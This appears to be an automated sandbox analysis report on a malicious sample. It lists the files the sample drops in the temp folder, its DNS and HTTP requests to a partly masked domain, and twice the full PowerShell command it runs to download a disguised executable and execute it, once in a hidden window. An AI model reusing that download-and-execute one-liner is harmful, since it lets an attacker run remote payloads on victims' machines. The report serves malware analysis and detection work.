Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.ct##y.xyz/jam/soapdoz.png','%TEMP%\soapdoz.exe');%TEMP%\soapdoz.exe
Modifies file system
Creates the following files
- %TEMP%\trbatehtqevyaw.sct
- %TEMP%\1.exe
Network activity
TCP
HTTP GET requests
- http://www.ct##y.xyz/jam/soapdoz.png
UDP
- DNS ASK ct##y.xyz
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.ct##y.xyz/jam/soapdoz.png','%TEMP%\soapdoz.exe');%TEMP%\soapdoz.exe' (with hidden window)
